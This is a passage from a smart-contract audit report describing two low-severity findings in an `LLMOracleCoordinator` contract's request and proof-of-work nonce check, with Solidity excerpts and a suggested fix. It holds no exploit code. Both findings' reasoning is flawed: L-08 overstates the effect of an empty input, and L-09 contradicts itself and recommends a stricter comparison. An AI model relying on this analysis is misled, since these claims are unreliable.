                bytes32 currentHash = keccak256(abi.encodePacked(
                    currentResponse.output,
                    currentResponse.responder,
                    currentResponse.nonce
                ));
                // Use hash comparison as tiebreaker
                if (currentHash < bestHash) {
                    bestResponse = currentResponse;
                    bestHash = currentHash;
                }
            }
        }

        return bestResponse;
    }
```

7.3.8 L-08. `LLMOracleCoordinator::request` lacks a check for non-empty `task.input`, making `assertValidNonce` easier to pass due to reduced uniqueness

Submitted by nitinaimshigh, n3smaro, saurabh_singh, invcbull, 0xhacksmithh, johny7173. Selected submission by: saurabh_singh.

Summary

In `LLMOracleCoordinator::request`, there is no check to ensure `task.input` is non-empty. This allows users to leave `task.input` empty, making it easier to pass the `assertValidNonce` function.

Vulnerability Details

As given in the NatSpec the Input should be non-empty.

In the `LLMOracleCoordinator::request` function, any requester can leave `task.value` empty, which makes passing `assertValidNonce` easier. Since `task.value` is part of the message composition, an empty value reduces its uniqueness, lowering the nonce validation difficulty.

```
    function assertValidNonce(uint256 taskId, TaskRequest storage task, uint256 nonce) internal view {
        bytes memory message = abi.encodePacked(taskId, task.input, task.requester, msg.sender, nonce);
        if (uint256(keccak256(message)) > type(uint256).max >> uint256(task.parameters.difficulty)) {
            revert InvalidNonce(taskId, nonce);
        }
    }
```

```
    /// @notice Request LLM generation.
@>  /// @dev Input must be non-empty.
    /// @dev Reverts if contract has not enough allowance for the fee.
    /// @dev Reverts if difficulty is out of range.
    /// @param protocol The protocol string, should be a short 32-byte string (e.g., "dria/1.0.0").
    /// @param input The input data for the LLM generation.
    /// @param parameters The task parameters
    /// @return task id

    function request(
        bytes32 protocol,
        bytes memory input,
        bytes memory models,
        LLMOracleTaskParameters calldata parameters
    ) public onlyValidParameters(parameters) returns (uint256) {
        (uint256 totalfee, uint256 generatorFee, uint256 validatorFee) = getFee(parameters);

        // check allowance requirements
        //e all good- why this allowncce check without approve -> approved by buyer funciton called form
        ↪  there
        uint256 allowance = feeToken.allowance(msg.sender, address(this));
        if (allowance < totalfee) {
            revert InsufficientFees(allowance, totalfee);
        }

        // ensure there is enough balance
        uint256 balance = feeToken.balanceOf(msg.sender);
        if (balance < totalfee) {
            revert InsufficientFees(balance, totalfee);
        }

        // transfer tokens
        feeToken.transferFrom(msg.sender, address(this), totalfee);

        // increment the task id for later tasks & emit task request event
        uint256 taskId = nextTaskId;
        unchecked {
            ++nextTaskId;
        }
        emit Request(taskId, msg.sender, protocol);

        // push request & emit status update for the task
        requests[taskId] = TaskRequest({
            requester: msg.sender,
            protocol: protocol,
            input: input,
            parameters: parameters,
            status: TaskStatus.PendingGeneration,
            generatorFee: generatorFee,
            validatorFee: validatorFee,
            platformFee: platformFee,
            models: models
        });
        emit StatusUpdate(taskId, protocol, TaskStatus.None, TaskStatus.PendingGeneration);

        return taskId;
    }
```

Severity

A malicious user who realizes they can leave `task.input` empty could exploit this to pass the `assertValidNonce`

check more easily, introducing a bias in the system. Without `task.input` contributing to the message hash, the uniqueness of each request is reduced, lowering the computational effort needed to find a valid nonce and weakening the intended security.

Since the message in `assertValidNonce` relies on `task.input` for uniquiness, an empty `task.input` simplifies the hash and reduces the difficulty of the nonce check. This allows users to bypass validation with minimal effort, undermining nonce integrity. Adding a requirement for a non-empty `task.input` would help ensure the expected security level of the validation.

Tools Used

Manual Review

Recommendations

```
    /// @notice Request LLM generation.
@>  /// @dev Input must be non-empty.
    /// @dev Reverts if contract has not enough allowance for the fee.
    /// @dev Reverts if difficulty is out of range.
    /// @param protocol The protocol string, should be a short 32-byte string (e.g., "dria/1.0.0").
    /// @param input The input data for the LLM generation.
    /// @param parameters The task parameters
    /// @return task id

    function request(
        bytes32 protocol,
        bytes memory input,
        bytes memory models,
        LLMOracleTaskParameters calldata parameters
    ) public onlyValidParameters(parameters) returns (uint256) {
        (uint256 totalfee, uint256 generatorFee, uint256 validatorFee) = getFee(parameters);

+        // ensure the input parameter is not empty.
+        require(input.length != 0, "invalid input");

        // check allowance requirements
        //e all good- why this allowncce check without approve -> approved by buyer funciton called form
        ↪  there
        uint256 allowance = feeToken.allowance(msg.sender, address(this));
        if (allowance < totalfee) {
            revert InsufficientFees(allowance, totalfee);
        }

        // ensure there is enough balance
        uint256 balance = feeToken.balanceOf(msg.sender);
        if (balance < totalfee) {
            revert InsufficientFees(balance, totalfee);
        }

        // transfer tokens
        feeToken.transferFrom(msg.sender, address(this), totalfee);

        // increment the task id for later tasks & emit task request event
        uint256 taskId = nextTaskId;
        unchecked {
            ++nextTaskId;
        }
        emit Request(taskId, msg.sender, protocol);

        // push request & emit status update for the task
        requests[taskId] = TaskRequest({
            requester: msg.sender,
            protocol: protocol,
```

```
            input: input,
            parameters: parameters,
            status: TaskStatus.PendingGeneration,
            generatorFee: generatorFee,
            validatorFee: validatorFee,
            platformFee: platformFee,
            models: models
        });
        emit StatusUpdate(taskId, protocol, TaskStatus.None, TaskStatus.PendingGeneration);

        return taskId;
    }
```

7.3.9 L-09. Incorrect Proof-of-Work Difficulty Check in `assertValidNonce` Function

Submitted by n3smaro, tejaswarambhe. Selected submission by: n3smaro.

Summary The `assertValidNonce` function in the `LLMOracleCoordinator` contract incorrectly implements the Proof-of-Work (PoW) difficulty check, allowing invalid nonces to be accepted as valid. This discrepancy could compromise the integrity of the PoW system, leading to unintended acceptance of low-effort computations.

Vulnerability Detail The `assertValidNonce` function is designed to validate a candidate `nonce` for a task by calculating a hash and comparing it to a difficulty threshold. The intended logic, as specified in the `LLMOracleTask` interface, is that the computed hash should be **less than** the difficulty target (`SHA3(taskId, input, requester, responder, nonce) < difficulty`).

However, in the current implementation:

```
if (uint256(keccak256(message)) > type(uint256).max >> uint256(task.parameters.difficulty)) {
    revert InvalidNonce(taskId, nonce);
}
```

The conditional check is > rather than >=, meaning that nonces resulting in hash values equal to the difficulty target are not validated as per the intended threshold.

This oversight means that some valid PoW nonces are unnecessarily rejected, potentially causing legitimate computations to be discarded. It also creates an inconsistency in how PoW difficulty is enforced, which could be exploited if the system incorrectly interprets validation boundaries.

Severity By incorrectly rejecting nonces that meet but do not exceed the difficulty threshold, this flaw could result in:

- Rejection of valid tasks and associated computational results, leading to wasted resources.
- Potential exploitation, as misinterpreted thresholds might create loopholes for attackers to bypass the difficulty restriction. **Tools Used** Manual Code Review

Recommendations To align with the intended behavior, update the conditional statement to use >= in order to correctly enforce the difficulty boundary